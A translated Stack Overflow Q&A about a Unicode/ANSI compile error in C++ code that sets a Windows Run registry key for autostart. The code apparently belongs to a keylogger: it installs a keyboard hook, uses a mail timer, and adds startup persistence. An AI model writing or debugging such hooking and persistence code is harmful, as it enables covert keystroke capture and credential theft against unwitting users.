簡體   English   中英

C ++注冊表項問題

[英]C++ registry key issue

我有一些c ++代碼的問題。

更確切地說,我希望在Windows啟動時運行的程序為自動啟動注冊注冊表項。
其余代碼放在另一個標題中,我認為你們不需要它。

#include <iostream>
#include <windows.h>
#include "KeybHook.h"
using namespace std;

int main ()
{
    MSG Msg;
    IO::MkDir (IO::GetOurPath (true));
    InstalHook ();
    while (GetMessage (&Msg, NULL, 0, 0))
        {
            TranslateMessage(&Msg);
            DispatchMessage(&Msg);
        }
    MailTimer.Stop ();
    std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe";
    HKEY hkey = NULL;
    LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key
    LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
    return 0;
}

我在編譯時遇到了這個錯誤

main.cpp||In function 'int main()':|
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'|
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'|
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===|

您使用的是ANSI API的ANSI版本,但您的字符串是Unicode。

您應該#define UNICODE#define _UNICODE (您需要兩者;一個用於Windows API,一個用於C運行時)。

如果您在Visual Studio項目下構建,則可以通過在“常規/字符集”下的項目設置中啟用“使用Unicode字符集”來定義那些而不編輯代碼。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM